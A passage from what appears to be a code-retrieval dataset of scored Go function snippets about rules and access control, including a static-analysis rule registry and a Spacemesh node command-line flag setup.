err)\n\t\t\treturn\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "26e3ec595e10f61abebd5902a7139c6c", "score": "0.4558371", "text": "func (o RedisUserOutput) RedisAclChannels() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *RedisUser) pulumi.StringArrayOutput { return v.RedisAclChannels }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "37bd74b500ffc497750f82f246f62127", "score": "0.45406044", "text": "func (reg *Registry) DeleteRules(ctx context.Context, ids []uint) (int64, error) {\n\tuid := getCurrentUserFromContext(ctx)\n\tidsStr := strings.Trim(strings.Join(strings.Fields(fmt.Sprint(ids)), \",\"), \"[]\")\n\n\t// Delete rules from the DB\n\tnb, err := reg.db.DeleteRules(uid, ids)\n\tif err != nil {\n\t\treg.logger.Info().Err(err).Uint(\n\t\t\t\"uid\", uid,\n\t\t).Str(\"ids\", idsStr).Msg(\"unable to delete rules\")\n\t\treturn 0, err\n\t}\n\treg.logger.Debug().Uint(\n\t\t\"uid\", uid,\n\t).Str(\"ids\", idsStr).Int64(\"nb\", nb).Msg(\"rules deleted\")\n\n\t// Force to refresh the rule engine cache\n\treg.ruleEngineCache.Evict(uid)\n\n\treturn nb, nil\n}", "title": "" }, { "docid": "f1bca3da22773e1a8aabebacddcd1266", "score": "0.45401448", "text": "func NewCreateOrUpdateACLCommand() *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"set\",\n\t\tAliases: []string{\"create\", \"update\"}, // acl create or acl update or acl set.\n\t\tShort: \"Set/create or update Access Control Lists\",\n\t\tExample: `acl set --resource-type=\"Topic\" --resource-name=\"transactions\" --principal=\"principalType:principalName\" --permission-type=\"Allow\" --acl-host=\"*\" --operation=\"Read\" --pattern-type=\"literal\"`,\n\t\tTraverseChildren: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tvar acl api.ACL\n\t\t\tacl, err := populateACL(cmd, args)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif err := config.Client.CreateOrUpdateACL(acl); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"ACL \\\"%s\\\" was created/updated successfuly\\n\", acl)\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn cmd\n}", "title": "" }, { "docid": "7c17658bab290089b6fe3c050bccdff4", "score": "0.45358163", "text": "func (o ObjectReplicationOutput) Rules() ObjectReplicationRuleArrayOutput {\n\treturn o.ApplyT(func(v *ObjectReplication) ObjectReplicationRuleArrayOutput { return v.Rules }).(ObjectReplicationRuleArrayOutput)\n}", "title": "" }, { "docid": "93b5db70c2c64568c1ea1c90fd8c9eea", "score": "0.4529166", "text": "func (_options *ReplaceRouteOptions) SetRules(rules []RulePrototype) *ReplaceRouteOptions {\n\t_options.Rules = rules\n\treturn _options\n}", "title": "" }, { "docid": "f80398c574b3f685c805b2b360c1dc1d", "score": "0.45101696", "text": "func Rules(rules *map[string]models.Rule, bot *models.Bot) {\n\t// Check if the rules directory even exists\n\tlog.Debug().Msg(\"looking for rules directory...\")\n\n\tcurrDir, err := os.Getwd()\n\tif err != nil {\n\t\tlog.Error().Msg(\"can't get current working directory\")\n\t}\n\n\t// TODO: make customizable\n\trulesDir := path.Join(currDir, \"config\", \"rules\")\n\n\t_, err = os.Stat(rulesDir)\n\tif err != nil {\n\t\tlog.Error().Msg(\"config/rules directory not found\")\n\t}\n\n\t// Loop through the rules directory and create a list of rules\n\tlog.Info().Msg(\"fetching all rule files...\")\n\n\tfileList := []string{}\n\n\terr = filepath.Walk(rulesDir, func(path string, f os.FileInfo, err error) error {\n\t\tif f != nil && !f.IsDir() {\n\t\t\tfileList = append(fileList, path)\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tlog.Error().Msgf(\"could not parse rules: %v\", err)\n\t}\n\n\t// If the rules directory is empty, log a warning and exit\n\tif len(fileList) == 0 {\n\t\tlog.Warn().Msg(\"looks like there aren't any rules\")\n\n\t\treturn\n\t}\n\n\t// Loop through the list of rules, creating a Rule object\n\t// for each rule, then populate the map of Rule objects\n\tlog.Debug().Msgf(\"parsing %d rule files...\", len(fileList))\n\n\tfor _, ruleFile := range fileList {\n\t\truleConf := viper.New()\n\t\truleConf.SetConfigFile(ruleFile)\n\n\t\terr := ruleConf.ReadInConfig()\n\t\tif err != nil {\n\t\t\tlog.Error().Msgf(\"error while reading rule file %#q: %v\", ruleFile, err)\n\t\t}\n\n\t\trule := models.Rule{}\n\n\t\terr = ruleConf.Unmarshal(&rule)\n\t\tif err != nil {\n\t\t\tlog.Error().Msg(err.Error())\n\t\t}\n\n\t\terr = validateRule(&rule)\n\t\tif err != nil {\n\t\t\tlog.Error().Msg(err.Error())\n\t\t}\n\n\t\t(*rules)[ruleFile] = rule\n\t}\n\n\tlog.Info().Msgf(\"configured %#q rules!\", bot.Name)\n}", "title": "" }, { "docid": "2f09a0e4fb85140a544dbc4d313ae326", "score": "0.45095408", "text": "func (r *githubRepository) Rules(location string) ([]Rule, error) {\n\tresp, err := r.c.Get(location)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tscanner := bufio.NewScanner(resp.Body)\n\tvar rules []Rule\n\tfor scanner.Scan() {\n\t\tmatches := reRuleSplitter.FindStringSubmatch(scanner.Text())\n\t\tif len(matches) == 4 {\n\t\t\trules = append(rules, Rule{\n\t\t\t\tCommand: matches[1],\n\t\t\t\tURL: matches[2],\n\t\t\t\tFilterExpression: matches[3],\n\t\t\t})\n\t\t}\n\t}\n\n\treturn rules, scanner.Err()\n}", "title": "" }, { "docid": "6f65b08a2bde94acf8314e0d73e1daea", "score": "0.45033365", "text": "func (s *Session) AutoModerationRules(guildID int64, options ...RequestOption) (st []*AutoModerationRule, err error) {\n\tendpoint := EndpointGuildAutoModerationRules(guildID)\n\n\tvar body []byte\n\tbody, err = s.RequestWithBucketID(\"GET\", endpoint, nil, nil, endpoint, options...)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = unmarshal(body, &st)\n\treturn\n}", "title": "" }, { "docid": "9654e8c655a836a8b26f94c52dd6295e", "score": "0.44977823", "text": "func CreateRBACRules(client clientset.Interface, k8sVersion *version.Version) error {\n\tif err := createClusterRoleBindings(client); err != nil {\n\t\treturn err\n\t}\n\tif err := deletePermissiveNodesBindingWhenUsingNodeAuthorization(client, k8sVersion); err != nil {\n\t\treturn fmt.Errorf(\"failed to remove the permissive 'system:nodes' Group Subject in the 'system:node' ClusterRoleBinding: %v\", err)\n\t}\n\n\tfmt.Println(\"[apiconfig] Created RBAC rules\")\n\treturn nil\n}", "title": "" }, { "docid": "db5c9f5faf31d696a3ed7696374da109", "score": "0.44968098", "text": "func Rules() []engine.Rule {\n\treturn []engine.Rule{\n\t\t// And rules\n\t\tNewCommandInjection(),\n\t\tNewXPathInjection(),\n\t\tNewExternalEntityInjection(),\n\t\tNewPathTraversal(),\n\t\tNewSQLInjectionWebControls(),\n\t\tNewFormsAuthenticationCookielessMode(),\n\t\tNewFormsAuthenticationWeakCookieProtection(),\n\t\tNewFormsAuthenticationCrossAppRedirects(),\n\t\tNewWeakCipherOrCBCOrECBMode(),\n\t\tNewFormsAuthenticationWeakTimeout(),\n\t\tNewHeaderCheckingDisabled(),\n\t\tNewVersionHeaderEnabled(),\n\t\tNewEventValidationDisabled(),\n\t\tNewWeakSessionTimeout(),\n\t\tNewStateServerMode(),\n\t\tNewJwtSignatureValidationDisabled(),\n\t\tNewInsecureHttpCookieTransport(),\n\t\tNewHttpCookieAccessibleViaScript(),\n\t\tNewDirectoryListingEnabled(),\n\t\tNewLdapAuthenticationDisabled(),\n\t\tNewCertificateValidationDisabledAndMatch(),\n\t\tNewActionRequestValidationDisabled(),\n\t\tNewXmlDocumentExternalEntityExpansion(),\n\t\tNewLdapInjectionFilterAssignment(),\n\t\tNewSqlInjectionDynamicNHibernateQuery(),\n\t\tNewLdapInjectionDirectorySearcher(),\n\t\tNewLdapInjectionPathAssignment(),\n\n\t\t// Or rules\n\t\tNewLDAPInjection(),\n\t\tNewSQLInjectionLinq(),\n\t\tNewInsecureDeserialization(),\n\t\tNewCookieWithoutSSLFlag(),\n\t\tNewCookieWithoutHttpOnlyFlag(),\n\t\tNewSQLInjectionEnterpriseLibraryData(),\n\t\tNewCQLInjectionCassandra(),\n\t\tNewPasswordComplexity(),\n\t\tNewNoInputVariable(),\n\t\tNewIdentityWeakPasswordComplexity(),\n\n\t\t// Regular rules\n\t\tNewNoLogSensitiveInformationInConsole(),\n\t\tNewOutputCacheConflict(),\n\t\tNewOpenRedirect(),\n\t\tNewRequestValidationDisabledAttribute(),\n\t\tNewRequestValidationDisabledConfigurationFile(),\n\t\tNewRequestValidationIsEnabledOnlyForPages(),\n\t\tNewViewStateNotEncrypted(),\n\t\tNewViewStateMacDisabled(),\n\t\tNewSQLInjectionOLEDB(),\n\t\tNewSQLInjectionMsSQLDataProvider(),\n\t\tNewSQLInjectionEntityFramework(),\n\t\tNewSQLInjectionNhibernate(),\n\t\tNewSQLInjectionNpgsql(),\n\t\tNewCertificateValidationDisabled(),\n\t\tNewWeakCipherAlgorithm(),\n\t\tNewNoUseHtmlRaw(),\n\t\tNewNoLogSensitiveInformation(),\n\t\tNewNoReturnStringConcatInController(),\n\t\tNewSQLInjectionOdbcCommand(),\n\t\tNewWeakHashingFunctionMd5OrSha1(),\n\t\tNewWeakHashingFunctionDESCrypto(),\n\t\tNewNoUseCipherMode(),\n\t\tNewDebugBuildEnabled(),\n\t\tNewVulnerablePackageReference(),\n\t\tNewCorsAllowOriginWildCard(),\n\t\tNewMissingAntiForgeryTokenAttribute(),\n\t\tNewUnvalidatedWebFormsRedirect(),\n\t\tNewIdentityPasswordLockoutDisabled(),\n\t\tNewRawInlineExpression(),\n\t\tNewRawBindingExpression(),\n\t\tNewRawWriteLiteralMethod(),\n\t\tNewUnencodedWebFormsProperty(),\n\t\tNewUnencodedLabelText(),\n\t\tNewWeakRandomNumberGenerator(),\n\t\tNewWeakRsaKeyLength(),\n\t\tNewXmlReaderExternalEntityExpansion(),\n\t\tNewLdapInjectionDirectoryEntry(),\n\t}\n}", "title": "" }, { "docid": "8add98cbeae1cf34e4572bde7415503f", "score": "0.44872367", "text": "func (fw *FirewallsServiceOp) AddRules(ctx context.Context, fID string, rr *FirewallRulesRequest) (*Response, error) {\n\tpath := path.Join(firewallsBasePath, fID, \"rules\")\n\treturn fw.createAndDoReq(ctx, http.MethodPost, path, rr)\n}", "title": "" }, { "docid": "853fe27b8036cec330d4ab0ff5b3a6d7", "score": "0.44862062", "text": "func AddCommands(cmd *cobra.Command) {\n\tcmd.PersistentFlags().StringP(\"preset\", \"p\", \"\",\n\t\tfmt.Sprintf(\"preset overwrites default values of the config. options %+s\", presets.Options()))\n\n\t/** ======================== Checkpoint Flags ========================== **/\n\tcmd.PersistentFlags().StringVar(&cfg.Recovery.Uri,\n\t\t\"recovery-uri\", cfg.Recovery.Uri, \"reset the node state based on the supplied checkpoint file\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.Recovery.Restore,\n\t\t\"recovery-layer\", cfg.Recovery.Restore, \"restart the mesh with the checkpoint file at this layer\")\n\n\t/** ======================== BaseConfig Flags ========================== **/\n\tcmd.PersistentFlags().StringVarP(&cfg.BaseConfig.ConfigFile,\n\t\t\"config\", \"c\", cfg.BaseConfig.ConfigFile, \"Set Load configuration from file\")\n\tcmd.PersistentFlags().StringVarP(&cfg.BaseConfig.DataDirParent, \"data-folder\", \"d\",\n\t\tcfg.BaseConfig.DataDirParent, \"Specify data directory for spacemesh\")\n\tcmd.PersistentFlags().StringVar(&cfg.BaseConfig.FileLock,\n\t\t\"filelock\", cfg.BaseConfig.FileLock, \"Filesystem lock to prevent running more than one instance.\")\n\tcmd.PersistentFlags().StringVar(&cfg.LOGGING.Encoder, \"log-encoder\",\n\t\tcfg.LOGGING.Encoder, \"Log as JSON instead of plain text\")\n\tcmd.PersistentFlags().BoolVar(&cfg.CollectMetrics, \"metrics\",\n\t\tcfg.CollectMetrics, \"collect node metrics\")\n\tcmd.PersistentFlags().IntVar(&cfg.MetricsPort, \"metrics-port\",\n\t\tcfg.MetricsPort, \"metric server port\")\n\tcmd.PersistentFlags().StringVar(&cfg.PublicMetrics.MetricsURL, \"metrics-push\",\n\t\tcfg.PublicMetrics.MetricsURL, \"Push metrics to url\")\n\tcmd.PersistentFlags().DurationVar(&cfg.PublicMetrics.MetricsPushPeriod, \"metrics-push-period\",\n\t\tcfg.PublicMetrics.MetricsPushPeriod, \"Push period\")\n\tcmd.PersistentFlags().StringArrayVar(&cfg.PoETServers, \"poet-server\",\n\t\tcfg.PoETServers, \"The poet server url. (temporary) Can be passed multiple times\")\n\tcmd.PersistentFlags().StringVar(&cfg.Genesis.GenesisTime, \"genesis-time\",\n\t\tcfg.Genesis.GenesisTime, \"Time of the genesis layer in 2019-13-02T17:02:00+00:00 format\")\n\tcmd.PersistentFlags().StringVar(&cfg.Genesis.ExtraData, \"genesis-extra-data\",\n\t\tcfg.Genesis.ExtraData, \"genesis extra-data will be committed to the genesis id\")\n\tcmd.PersistentFlags().DurationVar(&cfg.LayerDuration, \"layer-duration\",\n\t\tcfg.LayerDuration, \"Duration between layers\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.LayerAvgSize, \"layer-average-size\",\n\t\tcfg.LayerAvgSize, \"Layer Avg size\")\n\tcmd.PersistentFlags().BoolVar(&cfg.PprofHTTPServer, \"pprof-server\",\n\t\tcfg.PprofHTTPServer, \"enable http pprof server\")\n\tcmd.PersistentFlags().Uint64Var(&cfg.TickSize, \"tick-size\", cfg.TickSize, \"number of poet leaves in a single tick\")\n\tcmd.PersistentFlags().StringVar(&cfg.ProfilerURL, \"profiler-url\",\n\t\tcfg.ProfilerURL, \"send profiler data to certain url, if no url no profiling will be sent, format: http://<IP>:<PORT>\")\n\tcmd.PersistentFlags().StringVar(&cfg.ProfilerName, \"profiler-name\",\n\t\tcfg.ProfilerName, \"the name to use when sending profiles\")\n\n\tcmd.PersistentFlags().IntVar(&cfg.TxsPerProposal, \"txs-per-proposal\",\n\t\tcfg.TxsPerProposal, \"the number of transactions to select per proposal\")\n\tcmd.PersistentFlags().Uint64Var(&cfg.BlockGasLimit, \"block-gas-limit\",\n\t\tcfg.BlockGasLimit, \"max gas allowed per block\")\n\tcmd.PersistentFlags().IntVar(&cfg.OptFilterThreshold, \"optimistic-filtering-threshold\",\n\t\tcfg.OptFilterThreshold, \"threshold for optimistic filtering in percentage\")\n\n\tcmd.PersistentFlags().VarP(flags.NewStringToUint64Value(map[string]uint64{}), \"accounts\", \"a\",\n\t\t\"List of prefunded accounts\")\n\n\tcmd.PersistentFlags().IntVar(&cfg.DatabaseConnections, \"db-connections\",\n\t\tcfg.DatabaseConnections, \"configure number of active connections to enable parallel read requests\")\n\tcmd.PersistentFlags().BoolVar(&cfg.DatabaseLatencyMetering, \"db-latency-metering\",\n\t\tcfg.DatabaseLatencyMetering, \"if enabled collect latency histogram for every database query\")\n\n\t/** ======================== P2P Flags ========================== **/\n\n\tcmd.PersistentFlags().StringVar(&cfg.P2P.Listen, \"listen\",\n\t\tcfg.P2P.Listen, \"address for listening\")\n\tcmd.PersistentFlags().BoolVar(&cfg.P2P.Flood, \"flood\",\n\t\tcfg.P2P.Flood, \"flood created messages to all peers\")\n\tcmd.PersistentFlags().BoolVar(&cfg.P2P.DisableNatPort, \"disable-natport\",\n\t\tcfg.P2P.DisableNatPort, \"disable nat port-mapping (if enabled upnp protocol is used to negotiate external port with router)\")\n\tcmd.PersistentFlags().BoolVar(&cfg.P2P.DisableReusePort,\n\t\t\"disable-reuseport\",\n\t\tcfg.P2P.DisableReusePort,\n\t\t\"disables SO_REUSEPORT for tcp sockets. Try disabling this if your node can't reach bootnodes in the network\",\n\t)\n\tcmd.PersistentFlags().BoolVar(&cfg.P2P.Metrics,\n\t\t\"p2p-metrics\",\n\t\tcfg.P2P.Metrics,\n\t\t\"enable extended metrics collection from libp2p components\",\n\t)\n\tcmd.PersistentFlags().IntVar(&cfg.P2P.AcceptQueue,\n\t\t\"p2p-accept-queue\",\n\t\tcfg.P2P.AcceptQueue,\n\t\t\"number of connections that are fully setup before accepting new connections\",\n\t)\n\tcmd.PersistentFlags().IntVar(&cfg.P2P.LowPeers, \"low-peers\",\n\t\tcfg.P2P.LowPeers, \"low watermark for the number of connections\")\n\tcmd.PersistentFlags().IntVar(&cfg.P2P.HighPeers, \"high-peers\",\n\t\tcfg.P2P.HighPeers,\n\t\t\"high watermark for the number of connections; once reached, connections are pruned until low watermark remains\")\n\tcmd.PersistentFlags().IntVar(&cfg.P2P.MinPeers, \"min-peers\",\n\t\tcfg.P2P.MinPeers, \"actively search for peers until you get this much\")\n\tcmd.PersistentFlags().StringSliceVar(&cfg.P2P.Bootnodes, \"bootnodes\",\n\t\tcfg.P2P.Bootnodes, \"entrypoints into the network\")\n\tcmd.PersistentFlags().StringVar(&cfg.P2P.AdvertiseAddress, \"advertise-address\",\n\t\tcfg.P2P.AdvertiseAddress, \"libp2p address with identity (example: /dns4/bootnode.spacemesh.io/tcp/5003)\")\n\tcmd.PersistentFlags().BoolVar(&cfg.P2P.Bootnode, \"p2p-bootnode\", cfg.P2P.Bootnode,\n\t\t\"gossipsub and discovery will be running in a mode suitable for bootnode\")\n\tcmd.PersistentFlags().BoolVar(&cfg.P2P.DisableLegacyDiscovery, \"p2p-disable-legacy-discovery\", cfg.P2P.DisableLegacyDiscovery, \"custom legacy discovery is disabled\")\n\tcmd.PersistentFlags().BoolVar(&cfg.P2P.PrivateNetwork, \"p2p-private-network\", cfg.P2P.PrivateNetwork, \"discovery will work in private mode. mostly useful for testing, don't set in public networks\")\n\t/** ======================== TIME Flags ========================== **/\n\n\tcmd.PersistentFlags().BoolVar(&cfg.TIME.Peersync.Disable, \"peersync-disable\", cfg.TIME.Peersync.Disable,\n\t\t\"disable verification that local time is in sync with peers\")\n\tcmd.PersistentFlags().DurationVar(&cfg.TIME.Peersync.RoundRetryInterval, \"peersync-round-retry-interval\",\n\t\tcfg.TIME.Peersync.RoundRetryInterval, \"when to retry a sync round after a failure\")\n\tcmd.PersistentFlags().DurationVar(&cfg.TIME.Peersync.RoundInterval, \"peersync-round-interval\",\n\t\tcfg.TIME.Peersync.RoundRetryInterval, \"when to run a next sync round\")\n\tcmd.PersistentFlags().DurationVar(&cfg.TIME.Peersync.RoundTimeout, \"peersync-round-timeout\",\n\t\tcfg.TIME.Peersync.RoundRetryInterval, \"how long to wait for a round to complete\")\n\tcmd.PersistentFlags().DurationVar(&cfg.TIME.Peersync.MaxClockOffset, \"peersync-max-clock-offset\",\n\t\tcfg.TIME.Peersync.MaxClockOffset, \"max difference between local clock and peers clock\")\n\tcmd.PersistentFlags().IntVar(&cfg.TIME.Peersync.MaxOffsetErrors, \"peersync-max-offset-errors\",\n\t\tcfg.TIME.Peersync.MaxOffsetErrors, \"the node will exit when max number of consecutive offset errors will be reached\")\n\tcmd.PersistentFlags().IntVar(&cfg.TIME.Peersync.RequiredResponses, \"peersync-required-responses\",\n\t\tcfg.TIME.Peersync.RequiredResponses, \"min number of clock samples from other that need to be collected to verify time\")\n\t/** ======================== API Flags ========================== **/\n\n\tcmd.PersistentFlags().StringSliceVar(&cfg.API.PublicServices, \"grpc-public-services\",\n\t\tcfg.API.PublicServices, \"List of services that are safe to open for the network.\")\n\tcmd.PersistentFlags().StringVar(&cfg.API.PublicListener, \"grpc-public-listener\",\n\t\tcfg.API.PublicListener, \"Socket for the list of services specified in grpc-public-services.\")\n\tcmd.PersistentFlags().StringSliceVar(&cfg.API.PrivateServices, \"grpc-private-services\",\n\t\tcfg.API.PrivateServices, \"List of services that must be kept private or exposed only in secure environments.\")\n\tcmd.PersistentFlags().StringVar(&cfg.API.PrivateListener, \"grpc-private-listener\",\n\t\tcfg.API.PrivateListener, \"Socket for the list of services specified in grpc-private-services.\")\n\tcmd.PersistentFlags().IntVar(&cfg.API.GrpcRecvMsgSize, \"grpc-recv-msg-size\",\n\t\tcfg.API.GrpcRecvMsgSize, \"GRPC api recv message size\")\n\tcmd.PersistentFlags().IntVar(&cfg.API.GrpcSendMsgSize, \"grpc-send-msg-size\",\n\t\tcfg.API.GrpcSendMsgSize, \"GRPC api send message size\")\n\tcmd.PersistentFlags().StringVar(&cfg.API.JSONListener, \"grpc-json-listener\",\n\t\tcfg.API.JSONListener, \"Socket for the grpc gateway for the list of services in grpc-public-services. If left empty - grpc gateway won't be enabled.\")\n\t/**======================== Hare Flags ========================== **/\n\n\t// N determines the size of the hare committee\n\tcmd.PersistentFlags().IntVar(&cfg.HARE.N, \"hare-committee-size\",\n\t\tcfg.HARE.N, \"Size of Hare committee\")\n\t// RoundDuration determines the duration of a round in the Hare protocol\n\tcmd.PersistentFlags().DurationVar(&cfg.HARE.RoundDuration, \"hare-round-duration\",\n\t\tcfg.HARE.RoundDuration, \"Duration of round in the Hare protocol\")\n\tcmd.PersistentFlags().DurationVar(&cfg.HARE.WakeupDelta, \"hare-wakeup-delta\",\n\t\tcfg.HARE.WakeupDelta, \"Wakeup delta after tick for hare protocol\")\n\tcmd.PersistentFlags().IntVar(&cfg.HARE.ExpectedLeaders, \"hare-exp-leaders\",\n\t\tcfg.HARE.ExpectedLeaders, \"The expected number of leaders in the hare protocol\")\n\tcmd.PersistentFlags().IntVar(&cfg.HARE.LimitIterations, \"hare-limit-iterations\",\n\t\tcfg.HARE.LimitIterations, \"The limit of the number of iteration per consensus process\")\n\tcmd.PersistentFlags().IntVar(&cfg.HARE.LimitConcurrent, \"hare-limit-concurrent\",\n\t\tcfg.HARE.LimitConcurrent, \"The number of consensus processes running concurrently\")\n\n\t/**======================== Hare Eligibility Oracle Flags ========================== **/\n\n\tcmd.PersistentFlags().Uint32Var(&cfg.HareEligibility.ConfidenceParam, \"eligibility-confidence-param\",\n\t\tcfg.HareEligibility.ConfidenceParam, \"The relative layer (with respect to the current layer) we are confident to have consensus about\")\n\n\t/**======================== Beacon Flags ========================== **/\n\n\tcmd.PersistentFlags().IntVar(&cfg.Beacon.Kappa, \"beacon-kappa\",\n\t\tcfg.Beacon.Kappa, \"Security parameter (for calculating ATX threshold)\")\n\tcmd.PersistentFlags().Var((*types.RatVar)(cfg.Beacon.Q), \"beacon-q\",\n\t\t\"Ratio of dishonest spacetime (for calculating ATX threshold). It should be a string representing a rational number.\")\n\tcmd.PersistentFlags().Uint32Var((*uint32)(&cfg.Beacon.RoundsNumber), \"beacon-rounds-number\",\n\t\tuint32(cfg.Beacon.RoundsNumber), \"Amount of rounds in every epoch\")\n\tcmd.PersistentFlags().DurationVar(&cfg.Beacon.GracePeriodDuration, \"beacon-grace-period-duration\",\n\t\tcfg.Beacon.GracePeriodDuration, \"Grace period duration in milliseconds\")\n\tcmd.PersistentFlags().DurationVar(&cfg.Beacon.ProposalDuration, \"beacon-proposal-duration\",\n\t\tcfg.Beacon.ProposalDuration, \"Proposal duration in milliseconds\")\n\tcmd.PersistentFlags().DurationVar(&cfg.Beacon.FirstVotingRoundDuration, \"beacon-first-voting-round-duration\",\n\t\tcfg.Beacon.FirstVotingRoundDuration, \"First voting round duration in milliseconds\")\n\tcmd.PersistentFlags().DurationVar(&cfg.Beacon.VotingRoundDuration, \"beacon-voting-round-duration\",\n\t\tcfg.Beacon.VotingRoundDuration, \"Voting round duration in milliseconds\")\n\tcmd.PersistentFlags().DurationVar(&cfg.Beacon.WeakCoinRoundDuration, \"beacon-weak-coin-round-duration\",\n\t\tcfg.Beacon.WeakCoinRoundDuration, \"Weak coin round duration in milliseconds\")\n\tcmd.PersistentFlags().Var((*types.RatVar)(cfg.Beacon.Theta), \"beacon-theta\",\n\t\t\"Ratio of votes for reaching consensus\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.Beacon.VotesLimit, \"beacon-votes-limit\",\n\t\tcfg.Beacon.VotesLimit, \"Maximum allowed number of votes to be sent\")\n\tcmd.PersistentFlags().IntVar(&cfg.Beacon.BeaconSyncWeightUnits, \"beacon-sync-weight-units\",\n\t\tcfg.Beacon.BeaconSyncWeightUnits, \"Numbers of weight units to wait before determining beacon values from them.\")\n\n\t/**======================== Tortoise Flags ========================== **/\n\tcmd.PersistentFlags().Uint32Var(&cfg.Tortoise.Hdist, \"tortoise-hdist\",\n\t\tcfg.Tortoise.Hdist, \"the distance for tortoise to vote according to hare output\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.Tortoise.Zdist, \"tortoise-zdist\",\n\t\tcfg.Tortoise.Zdist, \"the distance for tortoise to wait for hare output\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.Tortoise.WindowSize, \"tortoise-window-size\",\n\t\tcfg.Tortoise.WindowSize, \"size of the tortoise sliding window in layers\")\n\tcmd.PersistentFlags().IntVar(&cfg.Tortoise.MaxExceptions, \"tortoise-max-exceptions\",\n\t\tcfg.Tortoise.MaxExceptions, \"number of exceptions tolerated for a base ballot\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.Tortoise.BadBeaconVoteDelayLayers, \"tortoise-delay-layers\",\n\t\tcfg.Tortoise.BadBeaconVoteDelayLayers, \"number of layers to ignore a ballot with a different beacon\")\n\tcmd.PersistentFlags().BoolVar(&cfg.Tortoise.EnableTracer, \"tortoise-enable-tracer\",\n\t\tcfg.Tortoise.EnableTracer, \"recovrd every tortoise input/output into the loggin output\")\n\n\t// TODO(moshababo): add usage desc\n\tcmd.PersistentFlags().Uint64Var(&cfg.POST.LabelsPerUnit, \"post-labels-per-unit\",\n\t\tcfg.POST.LabelsPerUnit, \"\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.POST.MinNumUnits, \"post-min-numunits\",\n\t\tcfg.POST.MinNumUnits, \"\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.POST.MaxNumUnits, \"post-max-numunits\",\n\t\tcfg.POST.MaxNumUnits, \"\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.POST.K1, \"post-k1\",\n\t\tcfg.POST.K1, \"difficulty factor for finding a good label when generating a proof\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.POST.K2, \"post-k2\",\n\t\tcfg.POST.K2, \"number of labels to prove\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.POST.K3, \"post-k3\",\n\t\tcfg.POST.K3, \"subset of labels to verify in a proof\")\n\tcmd.PersistentFlags().VarP(&cfg.POST.PowDifficulty, \"post-pow-difficulty\", \"\", \"difficulty of randomx-based proof of work\")\n\n\t/**======================== Smeshing Flags ========================== **/\n\n\t// TODO(moshababo): add usage desc\n\n\tcmd.PersistentFlags().BoolVar(&cfg.SMESHING.Start, \"smeshing-start\",\n\t\tcfg.SMESHING.Start, \"\")\n\tcmd.PersistentFlags().StringVar(&cfg.SMESHING.CoinbaseAccount, \"smeshing-coinbase\",\n\t\tcfg.SMESHING.CoinbaseAccount, \"coinbase account to accumulate rewards\")\n\tcmd.PersistentFlags().StringVar(&cfg.SMESHING.Opts.DataDir, \"smeshing-opts-datadir\",\n\t\tcfg.SMESHING.Opts.DataDir, \"\")\n\tcmd.PersistentFlags().Uint32Var(&cfg.SMESHING.Opts.NumUnits, \"smeshing-opts-numunits\",\n\t\tcfg.SMESHING.Opts.NumUnits, \"\")\n\tcmd.PersistentFlags().Uint64Var(&cfg.SMESHING.Opts.MaxFileSize, \"smeshing-opts-maxfilesize\",\n\t\tcfg.SMESHING.Opts.MaxFileSize, \"\")\n\tcmd.PersistentFlags().VarP(&cfg.SMESHING.Opts.ProviderID, \"smeshing-opts-provider\",\n\t\t\"\", \"\")\n\tcmd.PersistentFlags().BoolVar(&cfg.SMESHING.Opts.Throttle, \"smeshing-opts-throttle\",\n\t\tcfg.SMESHING.Opts.Throttle, \"\")\n\n\t/**======================== Consensus Flags ========================== **/\n\n\tcmd.PersistentFlags().Uint32Var(&cfg.LayersPerEpoch, \"layers-per-epoch\",\n\t\tcfg.LayersPerEpoch, \"number of layers in epoch\")\n\n\t/**======================== PoET Flags ========================== **/\n\n\tcmd.PersistentFlags().DurationVar(&cfg.POET.PhaseShift, \"phase-shift\",\n\t\tcfg.POET.PhaseShift, \"phase shift of poet server\")\n\tcmd.PersistentFlags().DurationVar(&cfg.POET.CycleGap, \"cycle-gap\",\n\t\tcfg.POET.CycleGap, \"cycle gap of poet server\")\n\tcmd.PersistentFlags().DurationVar(&cfg.POET.GracePeriod, \"grace-period\",\n\t\tcfg.POET.GracePeriod, \"propagation time for ATXs in the network\")\n\n\t/**======================== bootstrap data updater Flags ========================== **/\n\tcmd.PersistentFlags().StringVar(&cfg.Bootstrap.URL, \"bootstrap-url\",\n\t\tcfg.Bootstrap.URL, \"the url to query bootstrap data update\")\n\tcmd.PersistentFlags().StringVar(&cfg.Bootstrap.Version, \"bootstrap-version\",\n\t\tcfg.Bootstrap.Version, \"the update version of the bootstrap data\")\n\n\t/**======================== testing related flags ========================== **/\n\tcmd.PersistentFlags().StringVar(&cfg.TestConfig.SmesherKey, \"testing-smesher-key\",\n\t\t\"\", \"import private smesher key for testing\",\n\t)\n\t// TODO remove after sync protocol update\n\tcmd.PersistentFlags().BoolVar(&cfg.Sync.UseNewProtocol, \"use-new-opn\",\n\t\tcfg.Sync.UseNewProtocol, \"use new opinions sync protocol\",\n\t)\n\t// TODO remove after sync protocol update\n\tcmd.PersistentFlags().BoolVar(&cfg.FETCH.ServeNewProtocol, \"serve-new-opn\",\n\t\tcfg.FETCH.ServeNewProtocol, \"serve new opinions sync protocol\",\n\t)\n\n\t// Bind Flags to config\n\terr := viper.BindPFlags(cmd.PersistentFlags())\n\tif err != nil 